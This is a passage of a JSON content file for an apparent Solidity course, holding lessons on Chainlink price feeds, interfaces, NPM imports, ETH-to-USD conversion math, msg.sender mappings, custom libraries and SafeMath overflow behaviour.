AggregatorV3Interface internal priceFeed;\n //The Chainlink price feed contract address\n constructor() public {priceFeed = AggregatorV3Interface(0x8468b2bDCE073A157E560AA4D9CcF6dB1DB98507);}\n // Get the latest gold price\n function getLatestGoldPrice() public view returns (int) {\n (,int price,,,) = priceFeed.latestRoundData();\n return price;\n }\n }\n```\n\nIn this example, Chainlink feeds are used to query the latest price of Gold. It can then be used in a more complex calculation according to the logic of your contract.\n\nTo summarise, Chainlink is a tool that broadens the capabilities of smart contracts by enabling access to real-world data and computations. By learning how to use it, it's easy to see that the potential applications for smart contracts are virtually limitless!\n", + "updates": [] + }, + { + "id": "da69799d-656b-4681-85c8-1783021913cc", + "number": 7, + "title": "Solidity interfaces", + "slug": "solidity-smart-contract-interfaces", + "folderName": "7-interfaces", + "description": "This lesson delves into using Solidity interfaces for converting Ethereum into USD and interacting with contracts. It explains how interfaces work, the importance of contract addresses and ABIs, and demonstrates interfacing with the Chainlink Aggregator V3 for price feeds.", + "duration": 7, + "videoUrl": "4tTBhEYgm-E", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/7-interfaces/+page.md", + "markdownContent": "---\ntitle: Interfaces\n---\n\n*Follow along this chapter with the video bellow*\n\n\n\n\nMaking transactions with Ethereum has become quite straightforward. But converting Ethereum into dollars or other currencies is where things get a little tricky. So today, we're going to take a deep dive into converting Ethereum into USD and interacting with other contracts lodged within the Ethereum blockchain.\n\n## Converting Ethereum into USD\n\nWhen it comes to determining whether the amount of Ethereum sent via a transaction meets a minimum USD value (e.g., $5), the conversion from Ethereum into USD becomes necessary. This conversion requires us to identify the price of Ethereum (or any other native blockchain token we're working with) in terms of USD; after which, we apply a conversion rate to ascertain its USD equivalent.\n\nNow, let’s see how to implement these steps in code.\n\n```js\n // Function to get the price of Ethereum in USD\n function getPrice() public {}\n // Function to convert a value based on the price\n function getConversionRate() public {}\n```\n\nThe two functions we're going to create here, `getPrice()` and `getConversionRate()`, will serve our purposes. For the time being, we're making them public so we can easily test, play with, and fine-tune them as we see fit.\n\n## Leveraging Chainlink for Ethereum Prices\n\nOur primary source for Ethereum prices will be a Chainlink data feed. Chainlink documentation provides a basic example written in Solidity that demonstrates how to interact with their price feed. Take a look at it [here](https://docs.chain.link/docs/get-the-latest-price/).\n\nThis example makes use of the `latestRoundData` function of a contract at a given address, returning a multitude of data points. However, our interest is solely in the Ethereum price for the time being.\n\n## Interfacing with the Contract\n\nThe process of interfacing with this contract (and subsequently getting the Ethereum price) requires us to know two essentials: the contract's address and its Application Binary Interface (ABI). The address is easy to access via the Chainlink documentation, specifically under the 'Price Feed Contracts' section.\n\nAs noted in Chainlink's contract addresses for Ethereum (ETH), we only need to obtain the Ethereum to USD price feed (ETH/USD!). You can access it [here](https://docs.chain.link/data-feeds/price-feeds/addresses).\n\nNext, we tackle the ABI.\n\nThe simplest way to obtain the ABI is by importing, compiling, and deploying the entire contract — a somewhat cumbersome method for our current task, especially considering that we don't need to comprehend the whole contract. We only need a key: what methods (functions) can be called on this contract, their inputs, whether they're payable or view functions, and other similar details.\n\nAn alternate approach relies on the concept of `Interface`.\n\n## Solidity Interface: A Mode of Interaction\n\nIn Solidity, an interface essentially is a declaration of methods without implemented logic — merely a list of possible interactions with a contract. The interface allows us to call these functions on the contract without needing the contract code. If the contract is deployed, the logic is also automatically included with it.\n\nChainlink's GitHub repository provides a detailed rundown of different contracts, and our focus is on the Aggregator V3 Interface. You can review it [here](https://github.com/smartcontractkit/chainlink/blob/develop/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol). This interface is what we need to interact with the contract for our task. It contains the `getVersion()` function, among others, key for our usage.\n\nBy copying the interface and employing Remix, Solidity's online compiler, we can test the `getVersion()` function. Testing on testnets can be time-consuming; hence, it is best to defer full deployment until the end.\n\n```js\n // Copy the Aggregator V3 Interface from Chainlink's GitHub\n AggregatorV3Interface interface = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);\n // Create a function to call the getVersion() function in the interface\n function getVersion() public view returns (uint256) {\n return interface.version();\n }\n```\n\nThese code snippets allow us to interact with the Chainlink Price Feed contract and retrieve the current version.\n\nIt's beneficial to remember that in the dynamic field of blockchain and Ethereum, learning is an ongoing cycle. Patience, persistence, and practice are your allies in harnessing the power of Ethereum and Solidity.\n\nJoin us in exploring this exciting technology, and together, let's keep coding!\n\n\n", + "updates": [] + }, + { + "id": "4a672ede-7ebe-4c9f-a9b6-50c914249926", + "number": 8, + "title": "Use AI to help pt.2", + "slug": "ai-help-development-part-2", + "folderName": "8-ai-help-iii", + "description": "A lesson on using AI models like ChatGPT for understanding complex programming concepts in Solidity, focusing on the function of returning values without logic defined in interfaces. It explores the interaction between functions, contracts, and addresses using AI insights.", + "duration": 3, + "videoUrl": "rMVou5VIkm0", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/8-ai-help-iii/+page.md", + "markdownContent": "---\ntitle: AI Help III\n---\n\n*Follow along this chapter with the video bellow*\n\n\n\nIn our quest for mastering the field of programming, questions and confusions are inevitable stepping stones. From deciphering the unintended consequences of a code block to understanding the intricate mechanisms behind built-in functions, every step in this journey is an opportunity to learn something new. Today, we'll discuss a common confusion that many developers stumble upon: *How does a Solidity function return a value when no logic is defined within it?*\n\nWe'll simplify this problem by providing a context of the Aggregator v3 Interface and explore the interaction between the function, contract, and the address associated with it. This lesson signifies an interactive approach where we speculate, ask questions, and validate our understanding of the topic with the help of AI model Chat GPT. So, let's dive in!\n\n## The Conundrum of the 'Get Version' Function\n\nThe journey begins with an intriguing question related to the Solidity function from the Aggregator v3 Interface.\n\nHere's the question that sets the ball rolling:\n\n\n\n\n\nTo form a clearer picture, let's look at the code snippet in question:\n\n```js\nfunction getVersion() external view returns (string memory);\n```\n\nOne of the common challenges new developers face is understanding the underlying mechanism of this 'get version' function. How is it able to return a value when there isn't any code defined in the Aggregator v3 Interface? Moreover, what makes it work when we insert an address?\n\nThis is where the incredible AI model Chat GBT comes into play to help unravel the mystery.\n\n## Insights from AI\n\nIn response to the confusion at hand, our AI companion provided an enlightening explanation. According to Chat GBT v3.5,\n\n\n\n\nThis confirms our suspicion.\n\n\n\n\nThe `version` function exists within the contract that incorporates this interface. By wrappering the address with Aggregator v3 Interface, we're instructing our Solidity compiler that at this address lies the 'version' function or all the functions encompassed within the Aggregator v3 Interface. If this address lacks the 'version' function, the code would break.\n\n## Further Clarification: What Happens If The Function Doesn't Exist?\n\nGiven the proactive nature of our AI companion, it is responsible and recommended to ensure accurate responses. So, it raises the question: *What would happen if that contract address didn't have that function?*\n\nAs explained by our AI:\n\n\n\nWhat this entails is that despite not leading to a compilation error, the transaction would consequently revert if the contract address lacks a 'version' function.\n\n## Cross-Verifying with Discussions Forum\n\nAccurate understanding is of paramount importance, and therefore, double-checking is a good practice. In such a scenario, the next step would be to validate this understanding on a discussions forum.\n\nIn conclusion, this lesson elucidates the inner workings of the 'get version' function and the Aggregator v3 Interface, unravelling the hidden interactions and dependencies with the help of AI. By constantly questioning and confirming our understanding of each step, we can ensure we are on the path to mastering blockchain programming.\n\nKeep learning and we'll see you on the next lesson. Happy coding!\n\n", + "updates": [] + }, + { + "id": "007993d3-d26f-4bba-9f1b-86ae1ac98cf4", + "number": 9, + "title": "Importing libaries from NPM and Github", + "slug": "import-libraries-smart-contracts-from-npm-github", + "folderName": "9-importing-from-npm-github", + "description": "This chapter explores how to import libraries and interfaces directly from GitHub or NPM in Ethereum contract development. It covers the benefits of direct imports for managing interfaces, using the Chainlink AggregatorV3Interface as an example.", + "duration": 3, + "videoUrl": "gOQ6Ylk0Tf0", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/9-importing-from-npm-github/+page.md", + "markdownContent": "---\ntitle: Importing from NPM & GitHub\n---\n\n*Follow along this chapter with the video bellow*\n\n*Follow along this chapter with the video bellow*\n\n\nIn Ethereum contract development, we frequently need to interface with other smart contracts. This usually means importing and dealing with potentially complex and numerous interfaces which can make our contracts untidy and difficult to manage. Is there a better way to do this? Let's explore how to streamline this process in Ethereum's programming environment, the Remix IDE, using Chainlink contracts as an example.\n\n\n### Understanding Interfaces\n\nThe purpose of an interface is to specify the contract's functions and addresses that we want to use or interact with. However, managing many interfaces within our contracts can clutter our files and make working with them cumbersome.\n\nConsider using the SmartContract interface as an example:\n\n```js\ninterface SmartContract {\n function someFunction() external view returns(uint, uint);\n}\n```\n\nIn the case where we are working with a contract that isn't in our project's local directories such as SimpleStorage, we've learnt that we can easily import the contract by stating `import \"./SimpleStorage.sol\"` at the top of our contract file.\n\nBut what if the contract you want to work with isn't locally stored in your project? Can we still import it as we did with SimpleStorage?\n\n### Direct Imports from GitHub\n\nThe good news is, contracts hosted on GitHub can be directly imported into your project. To demonstrate, let's take the example of the `AggregatorV3Interface` contract from Chainlink. We didn't create this interface, and it isn't stored locally in our project's directory.\n\nOne approach could be to copy the entire code, create a new file within our project (for example, `AggregatorV3Interface.sol`), paste the copied code, and then import this file into our contract. Effective, but tedious.\n\n```js\nimport \"./AggregatorV3Interface.sol\";\n```\n\nIs there a more efficient way? Let's return to the [Chainlink documentation](https://docs.chain.link/docs/using-chainlink-reference-contracts). As we scroll down, we notice an `import` statement.\n\n```js\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\";\n```\n\nThis import command contains the path that corresponds to the `AggregatorV3Interface.sol` GitHub repository. This means we can directly import the contract from GitHub or NPM, ridding us of the need to manually copy and paste.\n\n### Understanding the Import Method\n\nTo further comprehend what this import does, let's dissect it. `@chainlink/contracts` is a package existing on NPM (Node Package Manager), it consists of different versions of combinations of code that we can download and use. This package is directly derived from Chainlink's GitHub repository. The rest of the path tells Remix specifically which file we want to import.\n\nRemix is intelligent enough to interpret this `import`, observing `@chainlink/contracts` as referring to the NPM package. Consequently, Remix downloads all the necessary code from NPM, which is essentially sourced directly from GitHub.\n\nAdding the `import` statement to our contract is, therefore, equal to copy-pasting the entire interface at the top of our contract. Simplifying our effort and reducing clutter.\n\n```js\n pragma solidity 0.8.18;\n import \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\";\n contract MyContract {}\n```\n\nAfter adding the `import` statement, we can successfully compile the `AggregatorV3Interface` contract. Badaboom, badaboom.\n\n\n\nIndeed, this method ensures we are following efficient development practices and keeps our code clean and manageable.\n\n## Conclusion\n\nIt's crucial to regularly wise up to new and efficient tricks to keep our code clean and easier to manage. Importing contracts directly from NPM or GitHub is one such smart method! Happy coding.", + "updates": [] + }, + { + "id": "1e873454-026c-446a-89d5-dc5a6267d01b", + "number": 10, + "title": "Getting real world price data from Chainlink", + "slug": "getting-prices-from-chainlink", + "folderName": "10-getting-prices-from-chainlink", + "description": "The lesson focuses on extracting real-world pricing information using the Aggregator V3 interface from Chainlink. It covers creating contract instances, summoning 'latestRoundData', dealing with decimals in Solidity, and typecasting for price and value compatibility.", + "duration": 4, + "videoUrl": "fQVIYzZxv1c", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/10-getting-prices-from-chainlink/+page.md", + "markdownContent": "---\ntitle: Getting Prices from Chainlink\n---\n\n*Follow along this chapter with the video bellow*\n\n\n\n\nWhen it comes to blockchain development and interaction with smart contracts, JSON RPC interfaces and Application Binary Interfaces (ABIs) play an essential role. One such interface is the Aggregator V3, which provides a minimalistic ABI for developers to interact with their contracts. Today, we'll explore how to extract requested pricing information using Solidity.\n\n## Creating a New Contract Instance\n\nThe `AggregatorV3` interface encloses the prerequisites like the `latestRoundData` function which is commodious for getting the latest price.\n\nTo proceed, we'll initiate declaring the `AggregatorV3` interface and creating a new variable named `priceFeed`. This variable will denote a contract instance at a specific address, which is legit for Sapolia network:\n\n```js\n AggregatorV3Interface priceFeed = AggregatorV3Interface(/*address to your contract*/)\n\n```\n\nThe object `priceFeed` now allows us to summon the `latestRoundData` function on it.\n\n## Summoning latestRoundData\n\nIn the official documentation on GitHub, `latestRoundData` is described to return multiple results, including the last round ID, price, the time the price started on-chain, timestamp, and the round ID of the last round when the price was answered. However, we'd only be concerned with the price for now, so we'll exclude other return types:\n\n```js\nfunction getLatestPrice() public view returns (int) {\n (,int price,,,) = priceFeed.latestRoundData();\n return price;\n}\n```\n\nHere, we leave the commas to placeholders for exit variables, which we don't need.\n\nOur new function `getLatestPrice()` now extracts the latest price from the `latestRoundData()` function. This function returns the value of Ether in USD.\n\nGenerally, the returned price exists as an integer since Solidity's incompatibility with decimals. This brings us to the tricky part of compatibility between `price` (a `uint256`) and `msg.value` which is an `int256`.\n\n## Dealing with Decimals\n\nTypically, `msg.value` has 18 decimal places. This means that the `price` returned from our `latestRoundData` function isn't compatible with `msg.value`. To make them match, we simply multiply `price` by `1e10`:\n\n```js\nreturn price * 1e10;\n```\n\nThere's been a little confusion here. `Price` is an `int256` and `msg.value` is a `uint256`. At this juncture, we will perform an operation known as 'typecasting' to convert the 'price' from `int256` to `uint256`.\n\n## Typecasting in Solidity\n\nTypecasting is an operation you can use to convert one datatype into another. It's important to note that not all datatypes can be converted into one another, but for our situation, we can boldly convert an `int` to a `uint`.\n\n```js\nreturn uint(price) * 1e10;\n```\n\nSo, we've managed to get the same number of decimals for both the variables, and also ensured that they're now of the same type; in other words, made them compatible for mathematical operations.\n\nBeing a function that reads storage without modifying any state, our function can be made a `view` function and it should return a `uint256`:\n\n```js\nfunction getLatestPrice() public view returns (uint) {\n (,int price,,,) = priceFeed.latestRoundData();\n return uint(price) * 1e10;\n }\n```\n\nBy compiling our contract now, we refactor all earlier warnings and errors.\n\nWorking with Solidity can be arduous, especially since there aren't any decimal places, but practice makes perfect!\n\n\n\n\nAs long as we keep in mind the limitations of Solidity and Ethereum, we can take advantage of what they offer to create compelling smart contracts and applications. And with that, you've now learned how to make sense of `AggregatorV3Interface` to extract useful contract data. We are certain that armed with this knowledge, you can advance your smart contract development skills to greater heights.\n\nBut we are just getting started. In the next lesson, we'll explore more Solidity Math, so stay tuned!", + "updates": [] + }, + { + "id": "e82b4210-de20-4557-8924-1a21a2ded429", + "number": 11, + "title": "Solidity math", + "slug": "solidity-math", + "folderName": "11-more-solidity-math", + "description": "This lesson provides insights into converting Ethereum value to USD using Solidity. It covers the implementation of 'getPrice' and 'getConversionRate' functions, understanding decimal places, value validation, and deployment on a testnet.", + "duration": 7, + "videoUrl": "UEfpFLtlzTk", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/11-more-solidity-math/+page.md", + "markdownContent": "---\ntitle: More Solidity Math\n---\n\n*Follow along this chapter with the video bellow*\n\n\n\n\nIn this lesson, we're going to walk through the conversion of the Ethereum value to USD using Solidity. The purpose of this tutorial is to understand how Ethereum contract operations work, using the `getPrice` and `getConversionRate` functions.\n\n## Settling Down with the `getPrice` Function\n\nThe `getPrice` function returns the value of Ethereum in terms of USD. This value is returned as a `uint256`. Armed with this handy function, we can convert message value into dollar terms.\n\n## Breaking Down the `getConversionRate` Function\n\nThe `getConversionRate` function takes a `uint256` Ethereum (ETH) amount as input. The core objective of this function is to convert ETH into USD dollar value.\n\n\n### Understanding the Importance of Decimal Places\n\nIn Solidity, due to the lack of decimal numbers (only whole numbers work), we should always multiply before dividing. Coupled with the fact that both values have 18 decimal places, we have to divide the final calculated product by `1E18`.\n\n\n\nFor instance, let's put $2000 as ETH's value in dollar terms. The calculation would look like this:\n\n1. `ETH_Price`= $2000 (with 18 decimal places)\n2. Multiply ETH\\_Price by 1 ETH\n3. Now we'll have an extra 36 decimal places since 1 ETH also has 18 decimal places\n4. Divide the result with `1E18`\n\nThis function helps to handle the bulk of the math conversions for us. It takes our ETH amount and returns its equivalent in USD.\n\n## Value Validation\n\nNow, if we want to magnify the application of this function, let's assume we want to check if our users are sending at least $5.\n\n```js \n getConversionRate(msg.value) >= Minimum_USD\n // In other terms:\n require(PriceConverter.getConversionRate(msg.value) >= MINIMUM_USD, \"You need to spend more ETH!\");\n```\n\nThe value returned by `getConversionRate` function are calculated in 18 decimal places, so our $5 threshold would be `5E18` or `5*1E18`.\n\n## Deployment to the Testnet\n\nLet's say we deploy this to a testnet. After a long pause, we get our deployed contract. Using the `getPrice` function, we would get the current value of Ethereum.\n\nNow, if we try to add $5 to the fund, we'll probably get an error saying,\n\n```js\nGas estimation failed. Error execution reverted, didn't send enough ETH.\n```\n\n\n\nThis error is triggered when the amount in ETH is less than our $5 benchmark.\n\n\nBut if we attempt to fund with at least $5 worth of ETH,\n\nOur transaction gets through probably and shows no sign of the previous gas error.\n\n## Wrapping Up\n\nSolidity is a powerful language for writing smart contracts, and the ability to convert Ethereum into USD is a fundamental task.\n\nAs it stands, the `getConversionRate` function is working effectively in routing transactions worth less than $5 and ratifying ones equivalent to or more than $5 worth of ETH.\n\nIn our future lessons, the focus will be on withdrawal functions and contract interactions using Solidity. But for now, it's time to move forward!\n\n\n\n\nHappy Coding!\n", + "updates": [] + }, + { + "id": "eb82b3ce-5af7-4f79-9fe5-1004776159e0", + "number": 12, + "title": "Msg sender explained", + "slug": "solidity-msg-sender", + "folderName": "12-msg-sender", + "description": "The lesson introduces the use of Solidity's global variables, arrays, and mappings to track users sending money to a contract. It covers creating a mechanism to record addresses and amounts sent by users using 'msg.sender' and mappings.", + "duration": 2, + "videoUrl": "sSlMakVGEHg", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/12-msg-sender/+page.md", + "markdownContent": "---\ntitle: Message Sender (msg.sender)\n---\n\n*Follow along this chapter with the video bellow*\n\n\n\n\nAs you continue to dive deeper into the world of Solidity, you may find yourself wondering: \"How can I keep track of users sending money within a contract?\" and \"How can I easily look up how much each user has spent?\" In today's lesson, we'll walk through how to achieve this using Solidity's global variables, arrays, and mappings.\n\n## What are we doing next?\n\nThe first task at hand is to create a mechanism within the contract that keeps track of the users (addresses) who send money to the contract. For this purpose, we will create an array of addresses. The array will constantly be updated depending on who sends us money.\n\n```js\naddress[] public funders;\n```\n\nNote that the array is `public`. Meaning, it is accessible to anyone who interacts with the contract.\n\nWe will then update this array whenever money is incoming. Let's indicate this action by adding:\n\n```js\nfunders.push(msg.sender);\n```\n\nThe `msg.sender` global variable is a key feature in Solidity. It refers to the address that initiates a transaction (i.e., the sender of the transaction). In essence, we're saying \"whenever someone sends us money, add their address to the `funders` array\".\n\n\n\n\n## Mapping addresses to their funds\n\nLet's take this a step further and also associate the address of each funder to the amount sent using mappings.\n\nThis mapping will make it easier to look up the total amount each user has sent quick and easy. Let’s denote a mapping within Solidity as:\n\n```js\nmapping (address => uint256) public addressToAmountFunded;\n```\n\nIn Solidity, we now also have the capability to name the types in your mapping which adds clarity to our code. Here's an example:\n\n```js\nmapping (address => uint256 funderMappedToAmountFunded) public addressToAmountFunded;\n```\n\nIn this line of code, the variable name `addressToAmountFunded` is highly explicit and self-explanatory. It adds what is commonly referred to as \"syntactic sugar,\" making it easier to read what the mapping is about.\n\nFinally, let’s complete this mapping by adding the amount the user sends to their total funds.\n\n```js\naddressToAmountFunded[msg.sender] += msg.value;\n```\n\n## What Have We Achieved?\n\n\n\nWe now have a way to keep track of funders sending money to our contract and to easily determine how much they've sent in total. This knowledge will aid in designing more complex contracts in the future, as well as creating a more intuitive and user-friendly blockchain experience.\n\nBe sure to join us for our next tutorial to further your understanding of Solidity and blockchain!\n\n", + "updates": [] + }, + { + "id": "abed0d0d-602d-46bc-a9ad-f1df9e6c42f6", + "number": 13, + "title": "Quick section recap", + "slug": "quick-recap-fund-me", + "folderName": "13-quick-recap-ii", + "description": "A comprehensive refresher on key concepts in Advanced Solidity, covering contract addresses and ABIs, interfacing with contracts, using Chainlink Price Feeds, handling decimals and global units in Solidity, and the importance of these elements in smart contract development.", + "duration": 4, + "videoUrl": "NLTKk9k8eTE", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/13-quick-recap-ii/+page.md", + "markdownContent": "---\ntitle: Quick Recap II\n---\n\n*Follow along this chapter with the video bellow*\n\n\n\n# Advanced Solidity: A Comprehensive Refresher\n\nHey you, welcome back! Having ventured into the depths of Advanced Solidity, We are sure you have been inundated with loads of information, from compiler instructions to price feeds. Let's re-trace our learning path and perform a detailed recap of what we've tackled so far. Remember, every move in the arduous world of Solidity programming counts.\n\n## Starting With a Contract: Address and Abi\n\nThe bedrock of any smart contract is the `address` and `Abi` (Application Binary Interface.) Remember, to interact with any contract, you need these two elements ideally. In the most straightforward terms, an `address` is similar to a house number that helps identify the specific contract in the blockchain universe. The `Abi`, on the other hand, is a manual revealing how the contract can be used.\n\n```js\n // In JavaScript\n let contractAddress = \"0x....\";\n let contractAbi = [...];\n```\n\n\n\n## Interfacing with the Contract\n\nTo get the Abi easily and subsequently interact with another contract, you need to compile an interface. This is a critical step, akin to building a radio set that helps you tune into the contract's frequency. Combining the contract `address` with the interface essentially streamlines calling on the contract's functions.\n\n\n## Linking Up: Using Chainlink Price Feeds\n\nIn our sturdy armor of Solidity programming, [Chainlink Price Feeds](https://docs.chain.link/docs/using-chainlink-reference-contracts/) are the trusty sword. They provide an efficient way to access real-world data, particularly **pricing data**, and inject it into our smart contracts – a process that's as seamless as sipping coffee while going through the morning news!\n\n\n\n\n## Making Math Work in the EVM\n\nWhen it comes to working with mathematics in Solidity and the Ethereum Virtual Machine (EVM) in general, decimals are a no-go zone - they just don't play well in here. So, make sure you're always using the correct unit conversion when dealing with your contracts.\n\n\n## Getting to Grips with Global Units in Solidity\n\nDominated by two players: `msg.value` and `msg.sender`, globally available units in Solidity tell a lot about the transaction at hand. `msg.sender` refers to the account that started the current function call, while `msg.value` represents the number of wei sent with that particular function call.\n\n```js\n function updateValue() public payable {\n require(msg.value >= 1 ether, \"Not enough Ether provided.\");\n }\n```\n\n\n\nTo wrap it up, I believe you now have a thorough understanding - if not a complete masterclass of what we've learned so far in Advanced Solidity. As we continue our journey, always remember that understanding and mastering the basics create a solid foundation for the complex elements to come as we further demystify Solidity!", + "updates": [] + }, + { + "id": "e5043367-e48c-44b4-9a50-6016c9057d19", + "number": 14, + "title": "Creating your own libraries", + "slug": "create-solidity-library", + "folderName": "14-libraries", + "description": "This lesson covers the creation and use of Solidity Libraries to streamline code and avoid redundancy. It demonstrates how to create a library, transfer functions to it, and utilize the library in contracts for efficient code management and functionality enhancement.", + "duration": 5, + "videoUrl": "HLqimKeA60s", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/14-libraries/+page.md", + "markdownContent": "---\ntitle: Libraries\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\nEver wanted to streamline your code by getting rid of some repeated functions or routine workflows? Is it too tiresome and annoying to rewrite code snippets to maintain pricing information? Well, then, you're in the right place! In this blog post, we will discuss an efficient way to solve these problems using Solidity Libraries.\n\nSolidity Libraries are instrumental for reusing codes and adding functionality to different Solidity types. So, let's dive straight into some code and see how we can significantly refine our workflow.\n\n## What is a Solidity Library?\n\nSolidity Libraries are similar to contracts but do not allow the declaration of any state variables and you can't send ether to them. An important point to note is that a library gets embedded into the contract if all library functions are internal. And in case any library functions are not internal, the library must be deployed and then linked before the contract is deployed.\n\nIn this post, we will create a library that will allow us to work with our `getPrice`, `getConversionRate` and `getVersion` functions much more efficiently.\n\n## Creating a New Library\n\nBegin by creating a new file called `PriceConverter.sol`. This is going to accommodate the library we desire to create and we'll call it `PriceConverter`. We kickstart by providing the SPDX license identifier and a specified compiler pragma, in our case `0.8.18`. Be careful to replace the `contract` keyword with `library`.\n\n```js\n // SPDX-License-Identifier: MIT\n pragma solidity ^0.8.18;\n library PriceConverter {}\n```\n\nRemember, library in Solidity won't contain any state variables and must mark all the functions as `internal`.\n\nLet's move our `getPrice`, `getConversionRate` and `getVersion` functions from the `FundMe.sol` contract to our new library. Follow the steps below:\n\n- Go to `FundMe.sol`, and copy `getPrice`, `getConversionRate` and `getVersion` functions.\n- Paste them in the `PriceConverter.sol`.\n- Import the `AggregatorV3Interface` into `PriceConverter.sol`.\n\nNow, mark all these functions as internal, and you've done setting up your library!\n\n```js\nlibrary PriceConverter {\n // SPDX-License-Identifier: MIT\n pragma solidity ^0.8.18;\n\n import {AggregatorV3Interface} from \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\";\n\n function getPrice() internal view returns (uint256) {\n AggregatorV3Interface priceFeed = AggregatorV3Interface(0x694AA1769357215DE4FAC081bf1f309aDC325306);\n (, int256 answer, , , ) = priceFeed.latestRoundData();\n return uint256(answer * 10000000000);\n }\n\n\n function getConversionRate(\n uint256 ethAmount\n ) internal view returns (uint256) {\n uint256 ethPrice = getPrice();\n uint256 ethAmountInUsd = (ethPrice * ethAmount) / 1000000000000000000;\n return ethAmountInUsd;\n }\n}\n```\n\n## Make your library functionalities accessible in contract\n\nTo use the library functions in your contract, import the library in your contract and attach it to the desired type. Here, we attach the library to `uint256` as follows:\n\n```javascript\nimport \"./PriceConverter.sol\";\nusing PriceConverter for uint256;\n```\n\nNow, these library functions act as if they belonged to the `uint256` type. Even though you're not passing any variables in `getPrice()` and `getVersion()` functions, the value will still pass on and get ignored.\n\nCalling the `getConversionRate()` function now looks like this:\n\n```javascript\nuint256 conversionRate = msg.value.getConversionRate();\n```\n\nHere, `msg.value`, which is a `uint256` type, has been enhanced to include the `getConversionRate()` function. The `msg.value` gets passed as the first argument to the function.\n\nFor more than one argument, the additional arguments will be passed after the first argument as demonstrated below:\n\n```javascript\nuint256 result = msg.value.getConversionRate(123);\n```\n\nHere `123` will be passed as the second `uint256` argument in the function.\n\n## Final Thoughts\n\nCongrats on creating your very first Solidity Library! Now, you can handle even complicated pricing details effortlessly! This process saves time and reduces the redundancy of code reuse across the project. It also helps to provide more clarity to the code by encapsulating some functionalities away from the smart contract.\n\nIn conclusion, Solidity libraries are a great way to enhance your contracts with additional functionalities, thereby contributing to more robust and cleanly written smart contracts. Happy coding!\n", + "updates": [] + }, + { + "id": "b9897219-bdc3-4e41-b7fd-0d02708bafaa", + "number": 15, + "title": "Using Safemath", + "slug": "safemath", + "folderName": "15-safemath", + "description": "An introduction to the SafeMath library in Solidity, explaining its significance before Solidity 0.8 and the reasons for its reduced usage post Solidity 0.8. The lesson covers integer overflow issues and the implementation of automatic checks in newer Solidity versions.", + "duration": 6, + "videoUrl": "X6o3wmzBvy4", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/15-safemath/+page.md", + "markdownContent": "---\ntitle: SafeMath\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\n## Introduction to SafeMath Library\n\nThe world of Solidity is rich with various libraries designed to make your smart contract development journey smoother. However, there's this one library that has gained notoriety in the Solidity community – `SafeMath.sol`. Whether you are a seasoned Solidity engineer or just starting, you'd likely encounter SafeMath in your interaction with the Ethereum world. But, as with most software components, libraries evolve with time. Let's explore what `SafeMath.sol` used to be, and why its usage has decreased.\n\n\n\n## Understanding SafeMath Library\n\n`SafeMath.sol` was a staple in Solidity contracts before version 0.8. However, its usage has dropped significantly. So, if it was once popular, why did developers stop using it? What exactly changed? Let's examine what `SafeMath.sol` was designed to manage.\n\nFirst, let's create a new file called `SafeMathTester.sol` and explore this library in action.\n\n```javascript\n// SafeMathTester.sol\npragma solidity ^0.6.0;\ncontract SafeMathTester {\n uint8 public bigNumber = 255;\n function add() public {\n bigNumber = bigNumber + 1;\n }\n}\n```\n\nHere, we use the version `0.6.0` of Solidity. The `SafeMathTester` contract has a `uint8` data type `bigNumber` with the maximum capacity of `255`.\n\nAfter deploying this contract to a JavaScript Virtual Machine (JVM) or even a test network, invoking the `bigNumber` function will return `255` (its initial value), as anticipated. Interestingly, invoking the `add` function (which adds `1` to `bigNumber`) returns `0` when queried again, not `256` as one might expect. What's going on?\n\nBefore the 0.8 version of Solidity, signed and unsigned integers were unchecked, meaning that if your calculations exceeded the numerical limit of the variable type, it would wrap around to the lower limit. This pattern is known as integer overflow and it’s exactly what SafeMath library was designed to prevent.\n\n## Addressing Integer Overflow with SafeMath.sol\n\nSafeMath.sol provided a mechanism to halt transactions upon reaching the maximum limit of a `uint256` or `int256` data type. It was a typical security measure and a convention across contracts to avoid erroneous calculations and potential exploits.\n\n```javascript\nfunction add(uint a, uint b) public pure returns (uint) {\n uint c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n return c;\n}\n```\n\nIn the above example, through `require` statements, `SafeMath.sol` ensures the result of the addition operation always equals or exceeds the first operand. This approach effectively prevents an overflow.\n\nHowever, the SafeMath library is less common in newer versions of Solidity. Why?\n\n## Changes in Solidity 0.8 and the Decline of SafeMath.sol\n\nWith the introduction of Solidity version 0.8, automatic checks for overflows and underflows were implemented, making SafeMath less essential.\n\n```javascript\n// SafeMathTester.sol\npragma solidity ^0.8.0;\ncontract SafeMathTester {\n uint8 public bigNumber = 255;\n function add() public {\n bigNumber = bigNumber + 1;\n }\n}\n```\n\nIn the `SafeMathTester.sol` contract, if we deploy this to a JavaScript VM using Solidity `0.8.0`, invoking the `add` function will cause a transaction to fail, whereas, in older versions, it would have reset back to zero. The introduction of this automatic check in Solidity `0.8.0` effectively rendered the `SafeMath.sol` library redundant for overflow and underflow checking.\n\nHowever, for scenarios where mathematical operations are known not to exceed a variable's limit, Solidity introduced the `unchecked` construct to make code more gas-efficient. Wrapping the addition operation with `unchecked` will bypass overflow and underflow checks and revert back to the old behavior, where exceeding the limit wraps the value to zero.\n\n```javascript\nuint8 public bigNumber = 255;\n function add() public {\n unchecked {bigNumber = bigNumber + 1;\n }\n}\n```\n\nIt's important to note that unchecked blocks should be used with caution as they reintroduce the chance for overflows and underflows to occur.\n\n## Conclusion\n\nThe evolution of Solidity and `SafeMath.sol` illustrates the continuous advancements in Smart Contract development on Ethereum. While `SafeMath.sol` has become less essential with recent updates, it is still a critical piece of Ethereum's history, and understanding it gives us a broader perspective of Solidity's progress. In our daily work, we can now focus our efforts on using the latest features like the Price Converter library in our newly created FundMe contract.\n\nBy constantly learning and 